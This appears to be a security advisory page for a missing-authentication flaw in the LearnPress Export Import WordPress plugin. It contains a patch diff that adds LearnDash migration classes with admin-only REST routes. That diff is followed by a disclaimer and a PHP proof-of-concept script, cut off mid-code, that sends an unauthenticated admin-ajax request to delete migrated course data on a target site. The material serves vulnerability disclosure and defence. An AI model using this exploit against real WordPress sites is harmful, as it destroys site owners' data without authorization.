+	 */
+	private function get_question_answers( $pro_question ) {
+		if ( ! $pro_question || ! is_a( $pro_question, 'WpProQuiz_Model_Question' ) ) {
+			return array();
+		}
+
+		$answer_data = $pro_question->getAnswerData();
+
+		if ( empty( $answer_data ) ) {
+			return array();
+		}
+
+		$answers = array();
+
+		foreach ( $answer_data as $index => $answer ) {
+			if ( ! is_a( $answer, 'WpProQuiz_Model_AnswerTypes' ) ) {
+				continue;
+			}
+
+			$answers[] = array(
+				'index'       => $index,
+				'answer'      => $answer->getAnswer(),
+				'sort_string' => $answer->getSortString(), // Match target for matrix_sort_answer questions.
+				'is_html'     => $answer->isHtml(),
+				'points'      => $answer->getPoints(),
+				'is_correct'  => $answer->isCorrect(),
+			);
+		}
+
+		return array(
+			'type'    => $pro_question->getAnswerType(),
+			'options' => $answers,
+		);
+	}
+
+	/**
+	 * Get all post meta.
+	 *
+	 * @param int $post_id Post ID.
+	 *
+	 * @return array
+	 */
+	private function get_all_meta( $post_id ) {
+		$meta       = get_post_meta( $post_id );
+		$clean_meta = array();
+
+		foreach ( $meta as $key => $values ) {
+			if ( strpos( $key, '_edit_' ) === 0 || '_wp_old_slug' === $key ) {
+				continue;
+			}
+			$clean_meta[ $key ] = count( $values ) === 1 ? maybe_unserialize( $values[0] ) : array_map( 'maybe_unserialize', $values );
+		}
+
+		return $clean_meta;
+	}
+}
--- a/learnpress-import-export/inc/LearnDashMigration/LearnDashHelper.php
+++ b/learnpress-import-export/inc/LearnDashMigration/LearnDashHelper.php
@@ -0,0 +1,131 @@
+<?php
+
+namespace LPImportExportLearnDashMigration;
+
+/**
+ * LearnDash Helper Class
+ *
+ * Provides utility methods for the LearnDash to LearnPress migration process.
+ * Contains static methods for retrieving migration state, totals, and progress data.
+ * Used by the migration UI to display progress bars and status information.
+ *
+ * @package LPImportExportLearnDashMigration
+ * @since   1.0.0
+ */
+class LearnDashHelper {
+
+	/**
+	 * Get migration data for UI display.
+	 *
+	 * Compiles all migration step information including labels, descriptions,
+	 * total counts, and current progress. Also includes migration metadata
+	 * such as when the last migration was performed and by which user.
+	 *
+	 * @since 1.0.0
+	 * @return array {
+	 *     Migration data array.
+	 *
+	 *     @type array $migration_items         Associative array of migration steps (content, student_migrate).
+	 *     @type int   $learndash_migrate_time    Unix timestamp of last completed migration, or 0 if never run.
+	 *     @type int   $learndash_migrate_user_id User ID who performed the last migration, or 0 if never run.
+	 * }
+	 */
+	public static function get_data() {
+		$data = array();
+
+		// Map LearnDash steps to labels/descriptions for the UI.
+		$data['migration_items'] = array(
+			'content'         => array(
+				'label'       => esc_html__( 'Content Migration', 'learnpress-import-export' ),
+				'description' => esc_html__( 'Migrating courses, lessons, topics, quizzes, and questions to LearnPress.', 'learnpress-import-export' ),
+				'total'       => self::get_content_total(),
+				'migrated'    => self::get_migrated_total( 'content' ),
+			),
+			'student_migrate' => array(
+				'label'       => esc_html__( 'Student Progress Migration', 'learnpress-import-export' ),
+				'description' => esc_html__( 'Migrating user course progress and quiz attempts to LearnPress.', 'learnpress-import-export' ),
+				'total'       => self::get_student_migrate_total(),
+				'migrated'    => self::get_migrated_total( 'student_migrate' ),
+			),
+		);
+
+		$data['learndash_migrate_time']    = get_option( 'learndash_migrate_time', 0 );
+		$data['learndash_migrate_user_id'] = get_option( 'learndash_migrate_user_id', 0 );
+
+		return $data;
+	}
+
+	/**
+	 * Get the total number of LearnDash courses for content migration step.
+	 *
+	 * Counts all LearnDash courses (sfwd-courses post type) regardless of status.
+	 * This determines the total iterations needed for the content step progress bar.
+	 *
+	 * @since 1.0.0
+	 * @return int Total count of LearnDash courses.
+	 */
+	public static function get_content_total() {
+		$courses = get_posts(
+			array(
+				'post_type'      => 'sfwd-courses',
+				'posts_per_page' => -1,
+				'post_status'    => 'any',
+				'fields'         => 'ids',
+			)
+		);
+		return count( $courses );
+	}
+
+	/**
+	 * Get the total number of users for student migration step.
+	 *
+	 * First tries to count distinct users from learndash_user_activity table
+	 * where activity_type='course'. Falls back to counting all wp_users
+	 * if the LearnDash activity table doesn't exist.
+	 *
+	 * @since 1.0.0
+	 * @global wpdb $wpdb WordPress database object.
+	 * @return int Total count of users with LearnDash progress to migrate.
+	 */
+	public static function get_student_migrate_total() {
+		global $wpdb;
+
+		$table_name = $wpdb->prefix . 'learndash_user_activity';
+
+		// Check if learndash_user_activity table exists.
+		$table_exists = $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $table_name ) );
+
+		if ( $table_exists ) {
+			// Count distinct users with course activity.
+			return (int) $wpdb->get_var(
+				$wpdb->prepare(
+					"SELECT COUNT(DISTINCT user_id) FROM {$table_name} WHERE activity_type = %s",
+					'course'
+				)
+			);
+		}
+
+		// Fallback: count all users.
+		return (int) $wpdb->get_var( "SELECT COUNT(ID) FROM {$wpdb->users}" );
+	}
+
+	/**
+	 * Get the number of migrated items for a specific step.
+	 *
+	 * Retrieves the current migration progress for each step from WordPress options.
+	 * Used to update the progress bar UI during migration.
+	 *
+	 * @since 1.0.0
+	 * @param string $item Migration step key: 'content' or 'student_migrate'.
+	 * @return int Number of items that have been migrated for the specified step.
+	 */
+	public static function get_migrated_total( $item ) {
+		if ( $item === 'content' ) {
+			return (int) get_option( 'learndash_migrated_content_count', 0 );
+		}
+		if ( $item === 'student_migrate' ) {
+			return (int) get_option( 'learndash_migrated_student_migrate_count', 0 );
+		}
+		return 0;
+	}
+}
--- a/learnpress-import-export/inc/LearnDashMigration/LearnDashMigrationController.php
+++ b/learnpress-import-export/inc/LearnDashMigration/LearnDashMigrationController.php
@@ -0,0 +1,246 @@
+<?php
+
+namespace LPImportExportLearnDashMigration;
+
+use LPImportExportMigrationHelpersRestApi;
+use WP_REST_Request;
+use WP_REST_Response;
+use WP_REST_Server;
+use Exception;
+
+/**
+ * LearnDash Migration Controller
+ *
+ * @package LPImportExportLearnDashMigration
+ */
+class LearnDashMigrationController {
+
+	/**
+	 * Constructor.
+	 *
+	 * Initializes the migration controller by registering REST API routes
+	 * and initializing the curriculum patch to fix LearnPress caching issues.
+	 *
+	 * @since 1.0.0
+	 */
+	public function __construct() {
+		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
+
+		// Initialize curriculum patch to fix LearnPress caching issue.
+		LP_Curriculum_Patch::instance();
+	}
+
+	/**
+	 * Register REST API routes for LearnDash migration.
+	 *
+	 * Registers two endpoints:
+	 * - POST /migrate/learndash: Main migration endpoint that handles all migration steps
+	 * - DELETE /delete-migrated-data/learndash: Cleanup endpoint to remove migrated data
+	 *
+	 * @since 1.0.0
+	 * @return void
+	 */
+	public function register_rest_routes() {
+		register_rest_route(
+			RestApi::generate_namespace(),
+			'/migrate/learndash',
+			array(
+				array(
+					'methods'             => WP_REST_Server::CREATABLE,
+					'permission_callback' => array( $this, 'check_admin_permission' ),
+					'callback'            => array( $this, 'migrate' ),
+				),
+			)
+		);
+
+		register_rest_route(
+			RestApi::generate_namespace(),
+			'/delete-migrated-data/learndash',
+			array(
+				'methods'             => WP_REST_Server::DELETABLE,
+				'permission_callback' => array( $this, 'check_admin_permission' ),
+				'callback'            => array( $this, 'delete_migrated_data' ),
+			),
+		);
+	}
+
+	/**
+	 * Check if the current user has admin permission.
+	 *
+	 * Permission callback for REST API endpoints.
+	 * Only users with 'manage_options' capability can access migration endpoints.
+	 *
+	 * @since 1.0.0
+	 * @return bool True if user has admin permission, false otherwise.
+	 */
+	public function check_admin_permission() {
+		return current_user_can( 'manage_options' );
+	}
+
+	/**
+	 * Main migration handler.
+	 *
+	 * Routes migration requests to the appropriate step based on the 'item' parameter.
+	 * Migration steps are executed in sequence:
+	 * 1. content - Fetch and migrate courses, lessons, topics, and quizzes to LearnPress
+	 * 2. student_migrate - Migrate student progress directly to LearnPress
+	 *
+	 * @since 1.0.0
+	 * @param WP_REST_Request $request REST request containing:
+	 *                                 - item: Migration step ('content', 'student_migrate')
+	 *                                 - paged: Current page number for batch processing
+	 *                                 - number: Number of items to process per batch
+	 * @return WP_REST_Response Success or error response with migration progress data.
+	 */
+	public function migrate( WP_REST_Request $request ) {
+		try {
+			$params = $request->get_params();
+			$item   = $params['item'] ?? 'content';
+			$paged  = $params['paged'] ?? 1;
+			$number = $params['number'] ?? 10;
+
+			switch ( $item ) {
+				case 'content':
+					return $this->step_content( $paged, $number );
+				case 'student_migrate':
+					return $this->step_student_migrate( $paged, $number );
+				default:
+					throw new Exception( __( 'Invalid migration step.', 'learnpress-import-export' ) );
+			}
+		} catch ( Exception $e ) {
+			return RestApi::error( $e->getMessage() );
+		}
+	}
+
+	/**
+	 * Step 1: Migrate content to LearnPress.
+	 *
+	 * Fetches LearnDash courses directly and converts them to LearnPress format, including:
+	 * - Course structure and metadata
+	 * - Lessons converted to LP sections
+	 * - Topics converted to LP lessons
+	 * - Quizzes and questions
+	 * - Associated media and attachments
+	 *
+	 * @since 1.0.0
+	 * @param int $paged  Current page number (1-indexed).
+	 * @param int $number Number of courses to migrate per batch.
+	 * @return WP_REST_Response Response with migrated count, next page, and next migration step.
+	 */
+	protected function step_content( $paged, $number ) {
+		// Clear previous data when starting fresh (page 1).
+		if ( $paged == 1 ) {
+			delete_option( 'learndash_migrated_content' );
+			delete_option( 'learndash_migrated_content_count' );
+			delete_option( 'learndash_migrated_student_migrate_count' );
+		}
+
+		// Fetch LearnDash courses directly.
+		$courses = get_posts(
+			array(
+				'post_type'      => 'sfwd-courses',
+				'posts_per_page' => $number,
+				'offset'         => ( $paged - 1 ) * $number,
+				'post_status'    => 'any',
+				'orderby'        => 'title',
+				'order'          => 'ASC',
+			)
+		);
+
+		$total = LearnDashHelper::get_content_total();
+
+		// Build and migrate each course directly.
+		$dumper   = new LearnDashDataDump();
+		$migrator = new LearnDashToLearnPressMigration();
+
+		foreach ( $courses as $course ) {
+			$ld_course             = $dumper->get_course_data( $course );
+			$ld_course['lessons']  = $dumper->dump_lessons( $course->ID );
+			$ld_course['quizzes']  = $dumper->dump_quizzes( $course->ID, 'course' );
+
+			$migrator->migrate_course( $ld_course );
+		}
+
+		$migrated_count = get_option( 'learndash_migrated_content_count', 0 ) + count( $courses );
+		update_option( 'learndash_migrated_content_count', $migrated_count );
+
+		$data = array(
+			'migrated_total'    => $migrated_count,
+			'next_page'         => $paged + 1,
+			'next_migrate_item' => 'content',
+		);
+
+		if ( $migrated_count >= $total ) {
+			$data['next_page']         = 1;
+			$data['next_migrate_item'] = 'student_migrate';
+		}
+
+		return RestApi::success( __( 'Migrating content...', 'learnpress-import-export' ), $data );
+	}
+
+	/**
+	 * Step 3: Migrate student progress to LearnPress.
+	 *
+	 * Migrates student progress directly from LearnDash database to LearnPress.
+	 * No JSON files - fetches and migrates user data in real-time.
+	 * Creates user items (enrollments, lessons, quizzes) in the learnpress_user_items table.
+	 * On completion, records the migration timestamp and user who performed the migration.
+	 *
+	 * @since 1.0.0
+	 * @param int $paged  Current page number (1-indexed).
+	 * @param int $number Number of users to process per batch.
+	 * @return WP_REST_Response Response with migrated count, next page, and success message on completion.
+	 */
+	protected function step_student_migrate( $paged, $number ) {
+		$student_migrator = new LearnDashStudentDataMigration();
+		$result           = $student_migrator->migrate_users_direct( $paged, $number );
+
+		$migrated_count = get_option( 'learndash_migrated_student_migrate_count', 0 ) + $result['processed'];
+		update_option( 'learndash_migrated_student_migrate_count', $migrated_count );
+
+		$data = array(
+			'migrated_total'    => $migrated_count,
+			'next_page'         => $paged + 1,
+			'next_migrate_item' => 'student_migrate',
+		);
+
+		// Stop when no more users to process.
+		if ( ! $result['has_more'] ) {
+			$data['next_page']            = 1;
+			$data['next_migrate_item']    = false;
+			$data['migrate_success_html'] = '<p>' . __( 'LearnDash migration completed successfully!', 'learnpress-import-export' ) . '</p>';
+			update_option( 'learndash_migrate_time', time() );
+			update_option( 'learndash_migrate_user_id', get_current_user_id() );
+		}
+
+		return RestApi::success( __( 'Migrating student progress...', 'learnpress-import-export' ), $data );
+	}
+
+	/**
+	 * Delete all migrated data and reset migration state.
+	 *
+	 * Removes all migration-related WordPress options.
+	 * This allows the migration to be run again from scratch.
+	 * Does NOT delete the actual LearnPress content that was created - only the migration tracking data.
+	 *
+	 * Options cleared:
+	 * - Content migration progress
+	 * - Student migration progress
+	 * - Migration timestamp and user info
+	 *
+	 * @since 1.0.0
+	 * @param WP_REST_Request $request REST request (unused but required by REST API).
+	 * @return WP_REST_Response Success response confirming data was cleared.
+	 */
+	public function delete_migrated_data( WP_REST_Request $request ) {
+
+		delete_option( 'learndash_migrated_content' );
+		delete_option( 'learndash_migrated_content_count' );
+		delete_option( 'learndash_migration_mapping' );
+		delete_option( 'learndash_migrated_student_migrate_count' );
+		delete_option( 'learndash_migrate_time' );
+		delete_option( 'learndash_migrate_user_id' );
+
+		return RestApi::success( __( 'Cleared all LearnDash migrated data and progress.', 'learnpress-import-export' ) );
+	}
+}
--- a/learnpress-import-export/inc/LearnDashMigration/LearnDashStudentDataMigration.php
+++ b/learnpress-import-export/inc/LearnDashMigration/LearnDashStudentDataMigration.php
@@ -0,0 +1,918 @@
+<?php
+/**
+ * LearnDash Student Data Migration Class (Refactored)
+ *
+ * Uses LearnPress Models from inc/Models/UserItems/ for proper data creation.
+ *
+ * @package LPImportExportLearnDashMigration
+ */
+
+namespace LPImportExportLearnDashMigration;
+
+use LearnPressModelsUserItemsUserCourseModel;
+use LearnPressModelsUserItemsUserLessonModel;
+use LearnPressModelsUserItemsUserQuizModel;
+use LearnPressModelsCourseModel;
+use LearnPressModelsCoursePostModel;
+use LP_Datetime;
+
+/**
+ * Class LearnDashStudentDataMigration
+ * Handles migrating LearnDash student progress data to LearnPress using LP Models.
+ */
+class LearnDashStudentDataMigration {
+
+	/**
+	 * Batch size for processing.
+	 *
+	 * @var int
+	 */
+	private $batch_size = 20;
+
+	/**
+	 * Constructor.
+	 */
+	public function __construct() {}
+
+	/**
+	 * Get user courses with progress.
+	 *
+	 * @param int   $user_id         User ID.
+	 * @param array $course_progress Course progress data from user meta.
+	 * @return array
+	 */
+	private function get_user_courses( $user_id, $course_progress ) {
+		$courses_data      = array();
+		$processed_courses = array();
+
+		// First, process courses from user meta (_sfwd-course_progress).
+		if ( ! empty( $course_progress ) && is_array( $course_progress ) ) {
+			foreach ( $course_progress as $course_id => $progress ) {
+				$completed_on = learndash_user_get_course_completed_date( $user_id, $course_id );
+				$access_from  = ld_course_access_from( $course_id, $user_id );
+
+				$courses_data[]                  = array(
+					'course_id'      => $course_id,
+					'enrolled_date'  => $access_from ? gmdate( 'Y-m-d H:i:s', $access_from ) : null,
+					'completed'      => ! empty( $completed_on ),
+					'completed_date' => $completed_on ? gmdate( 'Y-m-d H:i:s', $completed_on ) : null,
+					'progress'       => $progress,
+				);
+				$processed_courses[ $course_id ] = true;
+			}
+		}
+
+		// Also check wp_learndash_user_activity table for course enrollments.
+		$activity_courses = $this->get_courses_from_activity_table( $user_id );
+		foreach ( $activity_courses as $activity ) {
+			$course_id = (int) $activity['course_id'];
+
+			// Skip if already processed from user meta.
+			if ( isset( $processed_courses[ $course_id ] ) ) {
+				continue;
+			}
+
+			$enrolled_date  = $activity['activity_started'] ? gmdate( 'Y-m-d H:i:s', $activity['activity_started'] ) : null;
+			$completed_date = $activity['activity_completed'] ? gmdate( 'Y-m-d H:i:s', $activity['activity_completed'] ) : null;
+
+			$courses_data[]                  = array(
+				'course_id'      => $course_id,
+				'enrolled_date'  => $enrolled_date,
+				'completed'      => ! empty( $activity['activity_completed'] ),
+				'completed_date' => $completed_date,
+				'progress'       => array(), // No detailed progress from activity table.
+			);
+			$processed_courses[ $course_id ] = true;
+		}
+
+		return $courses_data;
+	}
+
+	/**
+	 * Check if user has any LearnDash activity in the activity table.
+	 *
+	 * @param int $user_id User ID.
+	 * @return bool True if user has activity.
+	 */
+	private function user_has_ld_activity( $user_id ) {
+		global $wpdb;
+
+		$table = $wpdb->prefix . 'learndash_user_activity';
+
+		// Check if table exists.
+		if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$table}'" ) ) {
+			return false;
+		}
+
+		$count = $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT COUNT(*) FROM {$table} WHERE user_id = %d AND activity_type = 'course'",
+				$user_id
+			)
+		);
+
+		return $count > 0;
+	}
+
+	/**
+	 * Get course enrollments from wp_learndash_user_activity table.
+	 *
+	 * @param int $user_id User ID.
+	 * @return array Array of course activity records.
+	 */
+	private function get_courses_from_activity_table( $user_id ) {
+		global $wpdb;
+
+		$table = $wpdb->prefix . 'learndash_user_activity';
+
+		// Check if table exists.
+		if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$table}'" ) ) {
+			return array();
+		}
+
+		return $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT course_id, activity_started, activity_completed, activity_status
+				 FROM {$table}
+				 WHERE user_id = %d AND activity_type = 'course'
+				 ORDER BY activity_id DESC",
+				$user_id
+			),
+			ARRAY_A
+		);
+	}
+
+	/**
+	 * Get user quiz attempts.
+	 *
+	 * @param int   $user_id       User ID.
+	 * @param array $quiz_attempts Quiz attempts data.
+	 * @return array
+	 */
+	private function get_user_quiz_attempts( $user_id, $quiz_attempts ) {
+		if ( empty( $quiz_attempts ) || ! is_array( $quiz_attempts ) ) {
+			return array();
+		}
+
+		return $quiz_attempts;
+	}
+
+	/**
+	 * Migrate users directly without JSON dump files.
+	 *
+	 * Fetches users from database, builds their progress data, and migrates immediately.
+	 * This is the real-time migration approach (Option A).
+	 *
+	 * @param int $paged  Current page number (1-indexed).
+	 * @param int $number Number of users to process per batch.
+	 * @return array Contains 'processed' count and 'has_more' boolean.
+	 */
+	public function migrate_users_direct( $paged, $number ) {
+		$offset = ( $paged - 1 ) * $number;
+
+		$users = get_users(
+			array(
+				'number'  => $number,
+				'offset'  => $offset,
+				'orderby' => 'ID',
+				'order'   => 'ASC',
+			)
+		);
+
+		$processed = 0;
+
+		foreach ( $users as $user ) {
+			$has_progress = get_user_meta( $user->ID, '_sfwd-course_progress', true );
+			$has_quizzes  = get_user_meta( $user->ID, '_sfwd-quizzes', true );
+			$has_activity = $this->user_has_ld_activity( $user->ID );
+
+			// Skip users with no LearnDash data.
+			if ( empty( $has_progress ) && empty( $has_quizzes ) && ! $has_activity ) {
+				continue;
+			}
+
+			// Build and migrate user data directly.
+			$user_data = array(
+				'id'               => $user->ID,
+				'enrolled_courses' => $this->get_user_courses( $user->ID, $has_progress ),
+				'quiz_attempts'    => $this->get_user_quiz_attempts( $user->ID, $has_quizzes ),
+			);
+
+			$this->migrate_user_data( $user_data );
+			++$processed;
+		}
+
+		return array(
+			'processed' => $processed,
+			'has_more'  => count( $users ) === $number,
+		);
+	}
+
+	/**
+	 * Migrate single user data.
+	 *
+	 * @param array $user_data User data.
+	 */
+	private function migrate_user_data( $user_data ) {
+		global $wpdb;
+
+		$user_id = $user_data['id'];
+
+		foreach ( $user_data['enrolled_courses'] as $course ) {
+			$lp_course_id = get_post_meta( $course['course_id'], '_lp_course_id', true );
+
+			if ( empty( $lp_course_id ) ) {
+				continue;
+			}
+
+			$user_item_id = $this->migrate_enrollment( $user_id, $lp_course_id, $course );
+
+			if ( ! $user_item_id ) {
+				continue;
+			}
+
+			// Clear student count cache for this course so count_students() returns correct value.
+			$this->clear_course_student_cache( $lp_course_id );
+
+			if ( ! empty( $course['progress']['lessons'] ) ) {
+				$this->migrate_lessons( $user_id, $course['progress']['lessons'], $lp_course_id, $user_item_id );
+			}
+
+			if ( ! empty( $course['progress']['topics'] ) ) {
+				foreach ( $course['progress']['topics'] as $topics ) {
+					$this->migrate_lessons( $user_id, $topics, $lp_course_id, $user_item_id, true );
+				}
+			}
+		}
+
+		foreach ( $user_data['quiz_attempts'] as $attempt ) {
+			$ld_quiz_id = $attempt['quiz'] ?? 0;
+			$lp_quiz_id = $ld_quiz_id ? get_post_meta( $ld_quiz_id, '_lp_quiz_id', true ) : 0;
+
+			if ( empty( $lp_quiz_id ) ) {
+				continue;
+			}
+
+			$lp_course_id = ( $attempt['course'] ?? 0 ) ? get_post_meta( $attempt['course'], '_lp_course_id', true ) : 0;
+			$parent_id    = 0;
+
+			if ( $lp_course_id ) {
+				$parent_id = $wpdb->get_var(
+					$wpdb->prepare(
+						"SELECT user_item_id FROM {$wpdb->prefix}learnpress_user_items WHERE user_id = %d AND item_id = %d AND item_type = 'lp_course'",
+						$user_id,
+						$lp_course_id
+					)
+				);
+			}
+
+			$this->migrate_quiz_attempt( $user_id, $lp_quiz_id, $lp_course_id, $parent_id, $attempt );
+		}
+	}
+
+	/**
+	 * Migrate course enrollment.
+	 *
+	 * @param int   $user_id      User ID.
+	 * @param int   $lp_course_id LearnPress course ID.
+	 * @param array $course       Course data.
+	 * @return int|false User item ID or false if already exists.
+	 */
+	private function migrate_enrollment( $user_id, $lp_course_id, $course ) {
+		// Check if already exists using UserCourseModel.
+		$existing = UserCourseModel::find( $user_id, $lp_course_id, false );
+
+		if ( $existing instanceof UserCourseModel ) {
+			return $existing->get_user_item_id();
+		}
+
+		$userCourse             = new UserCourseModel();
+		$userCourse->user_id    = $user_id;
+		$userCourse->item_id    = $lp_course_id;
+		$userCourse->start_time = $course['enrolled_date'] ?? current_time( 'mysql' );
+		$userCourse->end_time   = $course['completed_date'] ?? null;
+		$userCourse->status     = $course['completed'] ? 'finished' : 'enrolled';
+		$userCourse->graduation = $course['completed'] ? 'passed' : 'in-progress';
+		$userCourse->save();
+
+		$user_item_id = $userCourse->get_user_item_id();
+
+		// Calculate and save course results from LearnDash progress data.
+		if ( $user_item_id && ! empty( $course['progress'] ) ) {
+			$this->calculate_and_save_course_results(
+				$user_id,
+				$lp_course_id,
+				$user_item_id,
+				$course['progress'],
+				$course['completed']
+			);
+		}
+
+		return $user_item_id;
+	}
+
+	/**
+	 * Calculate and save course results after enrollment migration.
+	 *
+	 * Mirrors LearnPressModelsUserItemsUserCourseModel::calculate_course_results()
+	 * but uses LearnDash source data for completed/total items.
+	 *
+	 * @param int   $user_id       User ID.
+	 * @param int   $lp_course_id  LearnPress course ID.
+	 * @param int   $user_item_id  LearnPress user_item_id for the course enrollment.
+	 * @param array $ld_progress   LearnDash progress array with 'completed' and 'total' keys.
+	 * @param bool  $is_finished   Whether the course is finished.
+	 */
+	private function calculate_and_save_course_results( $user_id, $lp_course_id, $user_item_id, $ld_progress, $is_finished ) {
+		global $wpdb;
+
+		// Get LearnPress course model for evaluation type and passing condition.
+		$courseModel = CourseModel::find( $lp_course_id, true );
+		if ( ! $courseModel ) {
+			return;
+		}
+
+		// Calculate progress from LearnDash data.
+		$completed = isset( $ld_progress['completed'] ) ? (int) $ld_progress['completed'] : 0;
+		$total     = isset( $ld_progress['total'] ) ? (int) $ld_progress['total'] : 0;
+		$result    = $total > 0 ? round( ( $completed / $total ) * 100, 2 ) : 0;
+
+		// Get LP course item counts for reference.
+		$count_items = $courseModel->count_items();
+
+		// Determine if passed based on passing condition.
+		$passing_condition = $courseModel->get_passing_condition();
+		$pass              = $result >= $passing_condition ? 1 : 0;
+
+		// If already finished in LearnDash, respect that status.
+		if ( $is_finished ) {
+			$pass   = 1;
+			$result = max( $result, $passing_condition );
+		}
+
+		// Get evaluation type from course settings.
+		$evaluate_type = $courseModel->get_meta_value_by_key(
+			CoursePostModel::META_KEY_EVALUATION_TYPE,
+			'evaluate_lesson'
+		);
+
+		// Build items breakdown (approximate from LD data).
+		$items = array(
+			'lesson' => array(
+				'completed' => isset( $ld_progress['lessons'] ) ? count( array_filter( $ld_progress['lessons'] ) ) : 0,
+				'passed'    => isset( $ld_progress['lessons'] ) ? count( array_filter( $ld_progress['lessons'] ) ) : 0,
+				'total'     => $courseModel->count_items( LP_LESSON_CPT ),
+			),
+			'quiz'   => array(
+				'completed' => 0, // Quiz progress handled separately.
+				'passed'    => 0,
+				'total'     => $courseModel->count_items( LP_QUIZ_CPT ),
+			),
+		);
+
+		// Build result data matching LP's format.
+		$result_data = array(
+			'count_items'     => $count_items,
+			'completed_items' => $completed,
+			'items'           => $items,
+			'evaluate_type'   => $evaluate_type,
+			'pass'            => $pass,
+			'result'          => $result,
+		);
+
+		// Insert or update in learnpress_user_item_results table using LP's DB class.
+		LP_User_Items_Result_DB::instance()->update( $user_item_id, wp_json_encode( $result_data ) );
+	}
+
+	/**
+	 * Migrate lessons progress.
+	 *
+	 * @param int   $user_id      User ID.
+	 * @param array $items        Lesson items.
+	 * @param int   $lp_course_id LearnPress course ID.
+	 * @param int   $parent_id    Parent item ID.
+	 * @param bool  $is_topic     Whether items are topics.
+	 */
+	private function migrate_lessons( $user_id, $items, $lp_course_id, $parent_id, $is_topic = false ) {
+		foreach ( $items as $ld_id => $completed ) {
+			$lp_id = get_post_meta( $ld_id, '_lp_lesson_id', true );
+
+			if ( empty( $lp_id ) ) {
+				continue;
+			}
+
+			// Check if already exists using UserLessonModel.
+			$existing = UserLessonModel::find_user_item(
+				$user_id,
+				$lp_id,
+				LP_LESSON_CPT,
+				$lp_course_id,
+				LP_COURSE_CPT,
+				false
+			);
+
+			if ( $existing instanceof UserLessonModel ) {
+				continue;
+			}
+
+			$userLesson             = new UserLessonModel();
+			$userLesson->user_id    = $user_id;
+			$userLesson->item_id    = $lp_id;
+			$userLesson->start_time = current_time( 'mysql' );
+			$userLesson->end_time   = $completed ? current_time( 'mysql' ) : null;
+			$userLesson->status     = $completed ? 'completed' : 'started';
+			$userLesson->graduation = $completed ? 'passed' : 'in-progress';
+			$userLesson->ref_id     = $lp_course_id;
+			$userLesson->parent_id  = $parent_id;
+			$userLesson->save();
+		}
+	}
+
+	/**
+	 * Migrate quiz attempt.
+	 *
+	 * @param int   $user_id      User ID.
+	 * @param int   $lp_quiz_id   LearnPress quiz ID.
+	 * @param int   $lp_course_id LearnPress course ID.
+	 * @param int   $parent_id    Parent item ID.
+	 * @param array $attempt      Quiz attempt data.
+	 */
+	private function migrate_quiz_attempt( $user_id, $lp_quiz_id, $lp_course_id, $parent_id, $attempt ) {
+		$passed     = ! empty( $attempt['pass'] );
+		$time_spent = $attempt['timespent'] ?? 0;
+
+		$userQuiz             = new UserQuizModel();
+		$userQuiz->user_id    = $user_id;
+		$userQuiz->item_id    = $lp_quiz_id;
+		$userQuiz->start_time = isset( $attempt['started'] ) ? gmdate( 'Y-m-d H:i:s', $attempt['started'] ) : current_time( 'mysql' );
+		$userQuiz->end_time   = isset( $attempt['completed'] ) ? gmdate( 'Y-m-d H:i:s', $attempt['completed'] ) : current_time( 'mysql' );
+		$userQuiz->status     = 'completed';
+		$userQuiz->graduation = $passed ? 'passed' : 'failed';
+		$userQuiz->ref_id     = $lp_course_id;
+		$userQuiz->parent_id  = $parent_id;
+		$userQuiz->save();
+
+		$user_item_id = $userQuiz->get_user_item_id();
+
+		if ( ! $user_item_id ) {
+			return;
+		}
+
+		// Fetch detailed question statistics from LearnDash.
+		$questions_data = $this->build_questions_result( $attempt, $lp_quiz_id );
+
+		// Calculate question stats.
+		$question_count    = count( $questions_data );
+		$question_correct  = 0;
+		$question_wrong   

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1787 - LearnPress Export Import <= 4.1.0 - Missing Authentication to Unauthenticated Migrated Course Deletion

<?php
/**
 * Proof of Concept for CVE-2026-1787
 * Unauthenticated Migrated Course Deletion in LearnPress Export Import Plugin
 * 
 * Prerequisites:
 * - WordPress with LearnPress Export Import plugin <= 4.1.0
 * - Tutor LMS plugin installed and activated
 * - At least one course migrated from Tutor LMS
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Target the WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare the POST data for the vulnerable action
$post_data = array(
    'action' => 'delete_migrated_data'
);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate WordPress AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Accept-Language: en-US,en;q=0.5',
    'X-Requested-With: XMLHttpRequest',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
